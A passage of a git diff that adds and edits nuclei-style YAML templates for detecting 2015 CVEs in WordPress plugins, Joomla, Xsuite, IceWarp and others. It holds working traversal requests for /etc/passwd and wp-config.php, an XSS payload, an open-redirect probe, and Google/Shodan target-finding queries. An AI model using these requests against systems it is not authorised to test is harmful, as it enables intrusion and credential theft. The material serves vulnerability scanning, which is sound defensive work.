WordPress Simple Image Manipulator < 1.0 - Local File Inclusion + author: dhiyaneshDK + severity: high + description: | + WordPress Simple Image Manipulator 1.0 is vulnerable to local file inclusion in ./simple-image-manipulator/controller/download.php because no checks are made to authenticate users or sanitize input when determining file location. + reference: + - https://packetstormsecurity.com/files/132962/WordPress-Simple-Image-Manipulator-1.0-File-Download.html + - https://wpscan.com/vulnerability/40e84e85-7176-4552-b021-6963d0396543 + - https://nvd.nist.gov/vuln/detail/CVE-2015-1000010 + - http://www.vapidlabs.com/advisory.php?v=147 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2015-1000010 + cwe-id: CWE-22 + tags: packetstorm,wpscan,cve,cve2015,wordpress,wp-plugin,lfi,wp + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd' + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/29 diff --git a/cves/2015/CVE-2015-1000012.yaml b/cves/2015/CVE-2015-1000012.yaml index 8205281fcf..a50788f1cd 100644 --- a/cves/2015/CVE-2015-1000012.yaml +++ b/cves/2015/CVE-2015-1000012.yaml @@ -1,19 +1,24 @@ id: CVE-2015-1000012 info: - name: MyPixs <= 0.3 - Unauthenticated Local File Inclusion (LFI) + name: WordPress MyPixs <=0.3 - Local File Inclusion author: daffainfo severity: high - description: Local File Inclusion Vulnerability in mypixs v0.3 wordpress plugin + description: WordPress MyPixs 0.3 and prior contains a local file inclusion vulnerability. reference: - https://wpscan.com/vulnerability/24b83ce5-e3b8-4262-b087-a2dfec014985 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1000012 + - http://www.vapidlabs.com/advisory.php?v=154 + - https://nvd.nist.gov/vuln/detail/CVE-2015-1000012 + - http://web.archive.org/web/20210518144916/https://www.securityfocus.com/bid/94495 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2015-1000012 cwe-id: CWE-200 - tags: cve,cve2015,wordpress,wp-plugin,lfi + metadata: + google-query: inurl:"/wp-content/plugins/mypixs" + tags: cve2015,wordpress,wp-plugin,lfi,wpscan,cve requests: - method: GET @@ -29,3 +34,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/06 diff --git a/cves/2015/CVE-2015-1427.yaml b/cves/2015/CVE-2015-1427.yaml index 027ca9e210..2e3ed8377f 100644 --- a/cves/2015/CVE-2015-1427.yaml +++ b/cves/2015/CVE-2015-1427.yaml @@ -9,9 +9,10 @@ info: - https://blog.csdn.net/JiangBuLiu/article/details/94457980 - http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/ - https://nvd.nist.gov/vuln/detail/CVE-2015-1427 + - http://web.archive.org/web/20210506011817/https://www.securityfocus.com/bid/72585 classification: cve-id: CVE-2015-1427 - tags: cve,cve2015,elastic,rce,elasticsearch + tags: cve,cve2015,elastic,rce,elasticsearch,kev requests: - raw: diff --git a/cves/2015/CVE-2015-1503.yaml b/cves/2015/CVE-2015-1503.yaml index 2b30a3db9b..70821ebe5e 100644 --- a/cves/2015/CVE-2015-1503.yaml +++ b/cves/2015/CVE-2015-1503.yaml @@ -1,7 +1,7 @@ id: CVE-2015-1503 info: - name: IceWarp Mail Server Directory Traversal + name: IceWarp Mail Server <11.1.1 - Directory Traversal author: 0x_Akoko severity: high description: IceWarp Mail Server versions prior to 11.1.1 suffer from a directory traversal vulnerability. @@ -9,12 +9,15 @@ info: - https://packetstormsecurity.com/files/147505/IceWarp-Mail-Server-Directory-Traversal.html - http://www.icewarp.com - https://nvd.nist.gov/vuln/detail/CVE-2015-1503 + - https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-001/?fid=5614 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2015-1503 cwe-id: CWE-200 - tags: cve,cve2015,icewarp,lfi,mail + metadata: + shodan-query: title:"icewarp" + tags: lfi,mail,packetstorm,cve,cve2015,icewarp requests: - method: GET @@ -32,3 +35,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/06 diff --git a/cves/2015/CVE-2015-1579.yaml b/cves/2015/CVE-2015-1579.yaml new file mode 100644 index 0000000000..bf648b2a35 --- /dev/null +++ b/cves/2015/CVE-2015-1579.yaml @@ -0,0 +1,44 @@ +id: CVE-2015-1579 + +info: + name: WordPress Slider Revolution - Local File Disclosure + author: pussycat0x + severity: high + description: | + Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the img parameter in a revslider_show_image action to wp-admin/admin-ajax.php. NOTE: this vulnerability may be a duplicate of CVE-2014-9734. + reference: + - https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html + - https://cxsecurity.com/issue/WLB-2021090129 + - https://wpscan.com/vulnerability/4b077805-5dc0-4172-970e-cc3d67964f80 + - https://nvd.nist.gov/vuln/detail/CVE-2015-1579 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2015-1579 + cwe-id: CWE-22 + metadata: + google-query: inurl:/wp-content/plugins/revslider + tags: wordpress,wp-plugin,lfi,revslider,wp,wpscan,cve,cve2015 + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' + - '{{BaseURL}}/blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "'DB_NAME'" + - "'DB_PASSWORD'" + - "'DB_USER'" + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/29 diff --git a/cves/2015/CVE-2015-1880.yaml b/cves/2015/CVE-2015-1880.yaml index 1eadd4aba0..526e4ddfeb 100644 --- a/cves/2015/CVE-2015-1880.yaml +++ b/cves/2015/CVE-2015-1880.yaml @@ -1,13 +1,15 @@ id: CVE-2015-1880 info: - name: XSS in Fortigates SSL VPN login page + name: Fortinet FortiOS <=5.2.3 - Cross-Site Scripting author: pikpikcu severity: medium - description: Cross-site scripting (XSS) vulnerability in the sslvpn login page in Fortinet FortiOS 5.2.x before 5.2.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. + description: Fortinet FortiOS 5.2.x before 5.2.3 contains a cross-site scripting vulnerability in the SSL VPN login page which allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2015-1880 - https://www.c2.lol/articles/xss-in-fortigates-ssl-vpn-login-page + - http://www.fortiguard.com/advisory/FG-IR-15-005/ + - http://web.archive.org/web/20210122155324/https://www.securityfocus.com/bid/74652/ + - https://nvd.nist.gov/vuln/detail/CVE-2015-1880 classification: cve-id: CVE-2015-1880 tags: cve,cve2015,xss,fortigates,ssl @@ -33,3 +35,5 @@ requests: words: - "text/html" part: header + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2015/CVE-2015-2067.yaml b/cves/2015/CVE-2015-2067.yaml index f4f1cd61f9..ea3890184c 100644 --- a/cves/2015/CVE-2015-2067.yaml +++ b/cves/2015/CVE-2015-2067.yaml @@ -1,16 +1,19 @@ id: CVE-2015-2067 info: - name: Magento Server Magmi Plugin - Directory Traversal + name: Magento Server MAGMI - Directory Traversal author: daffainfo severity: high - description: Directory traversal vulnerability in web/ajax_pluginconf.php in the MAGMI (aka Magento Mass Importer) plugin for Magento Server allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter. + description: Magento Server MAGMI (aka Magento Mass Importer) contains a directory traversal vulnerability in web/ajax_pluginconf.php. that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter. reference: - https://www.exploit-db.com/exploits/35996 - https://nvd.nist.gov/vuln/detail/CVE-2015-2067 + - http://packetstormsecurity.com/files/130250/Magento-Server-MAGMI-Cross-Site-Scripting-Local-File-Inclusion.html classification: cve-id: CVE-2015-2067 - tags: cve,cve2015,lfi,magento,magmi,plugin + metadata: + shodan-query: http.component:"Magento" + tags: plugin,edb,packetstorm,cve,cve2015,lfi,magento,magmi requests: - method: GET @@ -27,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2015/CVE-2015-2068.yaml b/cves/2015/CVE-2015-2068.yaml index 9312b6cfd1..6bf5df4e8a 100644 --- a/cves/2015/CVE-2015-2068.yaml +++ b/cves/2015/CVE-2015-2068.yaml @@ -1,17 +1,20 @@ id: CVE-2015-2068 info: - name: Magento Server Magmi Plugin - Cross Site Scripting + name: Magento Server Mass Importer - Cross-Site Scripting author: daffainfo severity: medium - description: Multiple cross-site scripting (XSS) vulnerabilities in the MAGMI (aka Magento Mass Importer) plugin for Magento Server allow remote attackers to inject arbitrary web script or HTML via the (1) profile - parameter to web/magmi.php or (2) QUERY_STRING to web/magmi_import_run.php. + description: Magento Server Mass Importer plugin contains multiple cross-site scripting vulnerabilities which allow remote attackers to inject arbitrary web script or HTML via the (1) profile parameter to web/magmi.php or (2) QUERY_STRING to web/magmi_import_run.php. reference: - https://www.exploit-db.com/exploits/35996 + - http://packetstormsecurity.com/files/130250/Magento-Server-MAGMI-Cross-Site-Scripting-Local-File-Inclusion.html - https://nvd.nist.gov/vuln/detail/CVE-2015-2068 classification: cve-id: CVE-2015-2068 - tags: cve,cve2015,magento,magmi,xss,plugin + metadata: + shodan-query: http.component:"Magento" + verified: "true" + tags: plugin,edb,packetstorm,cve,cve2015,magento,magmi,xss requests: - method: GET @@ -33,3 +36,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2015/CVE-2015-2080.yaml b/cves/2015/CVE-2015-2080.yaml index 41ba31406e..26e8a1b2c2 100644 --- a/cves/2015/CVE-2015-2080.yaml +++ b/cves/2015/CVE-2015-2080.yaml @@ -15,7 +15,7 @@ info: cvss-score: 7.5 cve-id: CVE-2015-2080 cwe-id: CWE-200 - tags: cve,cve2015,jetty + tags: cve,cve2015,jetty,packetstorm requests: - method: POST diff --git a/cves/2015/CVE-2015-2166.yaml b/cves/2015/CVE-2015-2166.yaml index b055475e45..6b70de017b 100644 --- a/cves/2015/CVE-2015-2166.yaml +++ b/cves/2015/CVE-2015-2166.yaml @@ -1,16 +1,18 @@ id: CVE-2015-2166 info: - name: Ericsson Drutt MSDP (Instance Monitor) Directory Traversal + name: Ericsson Drutt MSDP - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in the Instance Monitor in Ericsson Drutt Mobile Service Delivery Platform (MSDP) 4, 5, and 6 allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the default URI. + description: Ericsson Drutt Mobile Service Delivery Platform (MSDP) 4, 5, and 6 allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the default URI in the Instance Monitor. reference: - https://www.exploit-db.com/exploits/36619 - https://nvd.nist.gov/vuln/detail/CVE-2015-2166 + - http://packetstormsecurity.com/files/131233/Ericsson-Drutt-MSDP-Instance-Monitor-Directory-Traversal-File-Access.html + - http://web.archive.org/web/20210122142229/https://www.securityfocus.com/bid/73901/ classification: cve-id: CVE-2015-2166 - tags: cve,cve2015,lfi,ericsson + tags: cve,cve2015,lfi,ericsson,edb,packetstorm requests: - method: GET @@ -27,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2015/CVE-2015-2807.yaml b/cves/2015/CVE-2015-2807.yaml index 3c4acfcc29..ddf371a6de 100644 --- a/cves/2015/CVE-2015-2807.yaml +++ b/cves/2015/CVE-2015-2807.yaml @@ -1,15 +1,19 @@ id: CVE-2015-2807 info: - name: Navis DocumentCloud 0.1 - Unauthenticated Reflected Cross-Site Scripting (XSS) + name: Navis DocumentCloud <0.1.1 - Cross-Site Scripting author: daffainfo severity: medium - description: Cross-site scripting (XSS) vulnerability in js/window.php in the Navis DocumentCloud plugin before 0.1.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the wpbase parameter. + description: Navis DocumentCloud plugin before 0.1.1 for WordPress contains a reflected cross-site scripting vulnerability in js/window.php which allows remote attackers to inject arbitrary web script or HTML via the wpbase parameter. reference: - https://advisories.dxw.com/advisories/publicly-exploitable-xss-in-wordpress-plugin-navis-documentcloud/ + - https://security.dxw.com/advisories/publicly-exploitable-xss-in-wordpress-plugin-navis-documentcloud/ + - https://wordpress.org/plugins/navis-documentcloud/changelog/ - https://nvd.nist.gov/vuln/detail/CVE-2015-2807 classification: cve-id: CVE-2015-2807 + metadata: + google-query: inurl:"/wp-content/plugins/navis-documentcloud" tags: cve,cve2015,wordpress,wp-plugin,xss requests: @@ -32,3 +36,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/12 diff --git a/cves/2015/CVE-2015-3224.yaml b/cves/2015/CVE-2015-3224.yaml index c8fd037c9d..34a797940a 100644 --- a/cves/2015/CVE-2015-3224.yaml +++ b/cves/2015/CVE-2015-3224.yaml @@ -4,7 +4,7 @@ info: name: Ruby on Rails Web Console - Remote Code Execution author: pdteam severity: critical - description: "Ruby on Rails Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client's IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request to request.rb." + description: Ruby on Rails Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x, does not properly restrict the use of X-Forwarded-For headers in determining a client's IP address, which allows remote attackers to bypass the whitelisted_ips protection mechanism via a crafted request to request.rb. reference: - https://www.metahackers.pro/rails-web-console-v2-whitelist-bypass-code-exec/ - https://www.jomar.fr/posts/2022/basic_recon_to_rce_ii/ @@ -12,7 +12,7 @@ info: - https://nvd.nist.gov/vuln/detail/CVE-2015-3224 classification: cve-id: CVE-2015-3224 - tags: cve,cve2015,rce,rails,ruby + tags: ruby,hackerone,cve,cve2015,rce,rails requests: - method: GET diff --git a/cves/2015/CVE-2015-3306.yaml b/cves/2015/CVE-2015-3306.yaml index f11c4e232d..80eee4953e 100644 --- a/cves/2015/CVE-2015-3306.yaml +++ b/cves/2015/CVE-2015-3306.yaml @@ -1,15 +1,19 @@ id: CVE-2015-3306 info: - name: ProFTPd RCE + name: ProFTPd - Remote Code Execution author: pdteam severity: high - description: The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands. + description: ProFTPD 1.3.5 contains a remote code execution vulnerability via the mod_copy module which allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands. reference: - https://github.com/t0kx/exploit-CVE-2015-3306 + - https://www.exploit-db.com/exploits/36803/ + - http://lists.fedoraproject.org/pipermail/package-announce/2015-May/157053.html + - http://lists.fedoraproject.org/pipermail/package-announce/2015-May/157054.html + - https://nvd.nist.gov/vuln/detail/CVE-2015-3306 classification: cve-id: CVE-2015-3306 - tags: cve,cve2015,ftp,rce,network,proftpd + tags: cve,cve2015,ftp,rce,network,proftpd,edb network: - inputs: @@ -31,3 +35,5 @@ network: part: raw words: - "Copy successful" + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2015/CVE-2015-3337.yaml b/cves/2015/CVE-2015-3337.yaml index d4497a09bf..6a683cf9f6 100644 --- a/cves/2015/CVE-2015-3337.yaml +++ b/cves/2015/CVE-2015-3337.yaml @@ -1,15 +1,19 @@ id: CVE-2015-3337 info: - name: Elasticsearch Head plugin LFI + name: Elasticsearch - Local File Inclusion author: pdteam severity: high - description: Directory traversal vulnerability in Elasticsearch before 1.4.5 and 1.5.x before 1.5.2, when a site plugin is enabled, allows remote attackers to read arbitrary files via unspecified vectors. + description: Elasticsearch before 1.4.5 and 1.5.x before 1.5.2 allows remote attackers to read arbitrary files via unspecified vectors when a site plugin is enabled. reference: - https://www.exploit-db.com/exploits/37054/ + - http://web.archive.org/web/20210121084446/https://www.securityfocus.com/archive/1/535385 + - https://www.elastic.co/community/security + - http://www.debian.org/security/2015/dsa-3241 + - https://nvd.nist.gov/vuln/detail/CVE-2015-3337 classification: cve-id: CVE-2015-3337 - tags: cve,cve2015,elastic,lfi,elasticsearch,plugin + tags: edb,cve,cve2015,elastic,lfi,elasticsearch,plugin requests: - method: GET @@ -26,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2015/CVE-2015-3648.yaml b/cves/2015/CVE-2015-3648.yaml index 010991342b..efac6418d7 100644 --- a/cves/2015/CVE-2015-3648.yaml +++ b/cves/2015/CVE-2015-3648.yaml @@ -4,13 +4,16 @@ info: name: ResourceSpace - Local File inclusion author: pikpikcu severity: high - description: ResourceSpace is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input. + description: ResourceSpace is prone to a local file-inclusion vulnerability because it fails to sufficiently sanitize user-supplied input. reference: - https://vulners.com/cve/CVE-2015-3648/ - - https://www.securityfocus.com/bid/75019 + - http://web.archive.org/web/20210122163815/https://www.securityfocus.com/bid/75019/ + - http://svn.montala.com/websvn/revision.php?repname=ResourceSpace&path=%2F&rev=6640&peg=6738 + - http://packetstormsecurity.com/files/132142/ResourceSpace-7.1.6513-Local-File-Inclusion.html + - https://nvd.nist.gov/vuln/detail/CVE-2015-3648 classification: cve-id: CVE-2015-3648 - tags: cve,cve2015,lfi,resourcespace + tags: lfi,resourcespace,packetstorm,cve,cve2015 requests: - method: GET @@ -27,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2015/CVE-2015-3897.yaml b/cves/2015/CVE-2015-3897.yaml index bbda5dbfa1..5090eb4c33 100644 --- a/cves/2015/CVE-2015-3897.yaml +++ b/cves/2015/CVE-2015-3897.yaml @@ -1,20 +1,21 @@ id: CVE-2015-3897 info: - name: Bonita BPM 6.5.1 - Unauthenticated Directory Traversal + name: Bonita BPM Portal <6.5.3 - Local File Inclusion author: 0x_Akoko severity: high - description: Directory traversal vulnerability in Bonita BPM Portal before 6.5.3 allows remote attackers to read arbitrary files via a .. (dot dot) in the theme parameter and a file path in the location parameter to bonita/portal/themeResource. + description: Bonita BPM Portal before 6.5.3 allows remote attackers to read arbitrary files via a .. (dot dot) in the theme parameter and a file path in the location parameter to bonita/portal/themeResource. reference: - https://packetstormsecurity.com/files/132237/Bonita-BPM-6.5.1-Directory-Traversal-Open-Redirect.html - https://www.bonitasoft.com/ - https://nvd.nist.gov/vuln/detail/CVE-2015-3897 + - https://www.htbridge.com/advisory/HTB23259 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2015-3897 cwe-id: CWE-22 - tags: cve,cve2015,bonita,lfi,unauth + tags: unauth,packetstorm,cve,cve2015,bonita,lfi requests: - method: GET @@ -36,3 +37,5 @@ requests: - type: regex regex: - "root:[x*]:0:0:" + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2015/CVE-2015-4050.yaml b/cves/2015/CVE-2015-4050.yaml index 2d3be7d772..29900ea2bc 100644 --- a/cves/2015/CVE-2015-4050.yaml +++ b/cves/2015/CVE-2015-4050.yaml @@ -1,12 +1,14 @@ id: CVE-2015-4050 info: - name: ESI unauthorized access + name: Symfony - Authentication Bypass author: ELSFA7110,meme-lord severity: high - description: FragmentListener in the HttpKernel component in Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment. + description: Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component. reference: - https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access + - http://symfony.com/blog/cve-2015-4050-esi-unauthorized-access + - http://www.debian.org/security/2015/dsa-3276 - https://nvd.nist.gov/vuln/detail/CVE-2015-4050 classification: cve-id: CVE-2015-4050 @@ -27,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2015/CVE-2015-4074.yaml b/cves/2015/CVE-2015-4074.yaml new file mode 100644 index 0000000000..ec54af72e6 --- /dev/null +++ b/cves/2015/CVE-2015-4074.yaml @@ -0,0 +1,36 @@ +id: CVE-2015-4074 + +info: + name: Joomla Helpdesk Pro plugin <1.4.0 - Local File Inclusion + author: 0x_Akoko + severity: high + description: Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task. + reference: + - https://packetstormsecurity.com/files/132766/Joomla-Helpdesk-Pro-XSS-File-Disclosure-SQL-Injection.html + - https://www.exploit-db.com/exploits/37666/ + - https://www.cvedetails.com/cve/CVE-2015-4074 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4074 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2015-4074 + cwe-id: CWE-22 + tags: lfi,packetstorm,edb,cve,cve2015,joomla,plugin + +requests: + - method: GET + path: + - "{{BaseURL}}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 + +# Enhanced by cs on 2022/09/08 diff --git a/cves/2015/CVE-2015-4127.yaml b/cves/2015/CVE-2015-4127.yaml new file mode 100644 index 0000000000..5d59f8802d --- /dev/null +++ b/cves/2015/CVE-2015-4127.yaml @@ -0,0 +1,39 @@ +id: CVE-2015-4127 + +info: + name: WordPress Church Admin <0.810 - Cross-Site Scripting + author: daffainfo + severity: medium + description: | + WordPress Church Admin plugin before 0.810 allows remote attackers to inject arbitrary web script or HTML via the address parameter via index.php/2015/05/21/church_admin-registration-form/. + reference: + - https://www.exploit-db.com/exploits/37112 + - https://wpscan.com/vulnerability/2d5b3707-f58a-4154-93cb-93f7058e3408 + - https://wordpress.org/plugins/church-admin/changelog/ + - https://nvd.nist.gov/vuln/detail/CVE-2015-4127 + classification: + cve-id: CVE-2015-4127 + tags: wp-plugin,wp,edb,wpscan,cve,cve2015,wordpress,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/church-admin/includes/validate.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/31 diff --git a/cves/2015/CVE-2015-4414.yaml b/cves/2015/CVE-2015-4414.yaml index c3363598a6..9d4911c858 100644 --- a/cves/2015/CVE-2015-4414.yaml +++ b/cves/2015/CVE-2015-4414.yaml @@ -1,16 +1,20 @@ id: CVE-2015-4414 info: - name: WordPress Plugin SE HTML5 Album Audio Player 1.1.0 - Directory Traversal + name: WordPress SE HTML5 Album Audio Player 1.1.0 - Directory Traversal author: daffainfo severity: high - description: Directory traversal vulnerability in download_audio.php in the SE HTML5 Album Audio Player (se-html5-album-audio-player) plugin 1.1.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter. + description: WordPress SE HTML5 Album Audio Player 1.1.0 contains a directory traversal vulnerability in download_audio.php that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter. reference: - https://www.exploit-db.com/exploits/37274 - - https://www.cvedetails.com/cve/CVE-2015-4414 + - https://nvd.nist.gov/vuln/detail/CVE-2015-4414 + - https://www.exploit-db.com/exploits/37274/ + - http://packetstormsecurity.com/files/132266/WordPress-SE-HTML5-Album-Audio-Player-1.1.0-Directory-Traversal.html classification: cve-id: CVE-2015-4414 - tags: cve,cve2015,wordpress,wp-plugin,lfi + metadata: + google-query: inurl:"/wp-content/plugins/se-html5-album-audio-player" + tags: cve,cve2015,wordpress,wp-plugin,lfi,edb,packetstorm requests: - method: GET @@ -27,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2015/CVE-2015-4632.yaml b/cves/2015/CVE-2015-4632.yaml index d34c15d8b4..e0c29e86de 100644 --- a/cves/2015/CVE-2015-4632.yaml +++ b/cves/2015/CVE-2015-4632.yaml @@ -4,17 +4,17 @@ info: name: Koha 3.20.1 - Directory Traversal author: daffainfo severity: high - description: Multiple directory traversal vulnerabilities in Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via - a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search. + description: Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search. reference: - https://www.exploit-db.com/exploits/37388 - https://www.cvedetails.com/cve/CVE-2015-4632 + - https://www.sba-research.org/2015/06/24/researchers-of-sba-research-found-several-critical-security-vulnerabilities-in-the-koha-library-software-via-combinatorial-testing/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2015-4632 cwe-id: CWE-22 - tags: cve,cve2015,lfi + tags: cve,cve2015,lfi,edb requests: - method: GET @@ -30,4 +30,6 @@ requests: - type: status status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/06/08 diff --git a/cves/2015/CVE-2015-4666.yaml b/cves/2015/CVE-2015-4666.yaml new file mode 100644 index 0000000000..374b84c7b5 --- /dev/null +++ b/cves/2015/CVE-2015-4666.yaml @@ -0,0 +1,35 @@ +id: CVE-2015-4666 + +info: + name: Xceedium Xsuite <=2.4.4.5 - Local File Inclusion + author: 0x_Akoko + severity: high + description: Xceedium Xsuite 2.4.4.5 and earlier is vulnerable to local file inclusion via opm/read_sessionlog.php that allows remote attackers to read arbitrary files in the logFile parameter. + reference: + - https://www.modzero.com/advisories/MZ-15-02-Xceedium-Xsuite.txt + - http://packetstormsecurity.com/files/132809/Xceedium-Xsuite-Command-Injection-XSS-Traversal-Escalation.html + - https://nvd.nist.gov/vuln/detail/CVE-2015-4666 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2015-4666 + cwe-id: CWE-22 + tags: xceedium,xsuite,lfi,packetstorm,cve,cve2015 + +requests: + - method: GET + path: + - "{{BaseURL}}/opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/13 diff --git a/cves/2015/CVE-2015-4668.yaml b/cves/2015/CVE-2015-4668.yaml new file mode 100644 index 0000000000..5b44654f51 --- /dev/null +++ b/cves/2015/CVE-2015-4668.yaml @@ -0,0 +1,30 @@ +id: CVE-2015-4668 + +info: + name: Xsuite 2.4.4.5 - Open Redirect + author: 0x_Akoko + severity: medium + description: | + Open redirect vulnerability in Xsuite 2.4.4.5 and earlier allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the redirurl parameter. + reference: + - https://www.modzero.com/advisories/MZ-15-02-Xceedium-Xsuite.txt + - https://www.cvedetails.com/cve/CVE-2015-4668 + - https://vuldb.com/?id.107082 + - https://www.exploit-db.com/exploits/37708/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2015-4668 + cwe-id: CWE-601 + tags: cve,cve2015,redirect,xsuite,xceedium,edb + +requests: + - method: GET + path: + - '{{BaseURL}}/openwin.php?redirurl=http://interact.sh' + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/cves/2015/CVE-2015-4694.yaml b/cves/2015/CVE-2015-4694.yaml index f116177a76..62cb6ae9ef 100644 --- a/cves/2015/CVE-2015-4694.yaml +++ b/cves/2015/CVE-2015-4694.yaml @@ -9,12 +9,15 @@ info: - https://wordpress.org/plugins/zip-attachments/#developers - https://wpscan.com/vulnerability/8047 - https://nvd.nist.gov/vuln/detail/CVE-2015-4694 + - http://www.vapid.dhs.org/advisory.php?v=126 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cve-id: CVE-2015-4694 cwe-id: CWE-22 - tags: lfi,wordpress,cve,cve2015,wp-plugin + metadata: + google-query: inurl:"/wp-content/plugins/zip-attachments" + tags: cve2015,wp-plugin,wpscan,lfi,wordpress,cve requests: - method: GET diff --git a/cves/2015/CVE-2015-5354.yaml 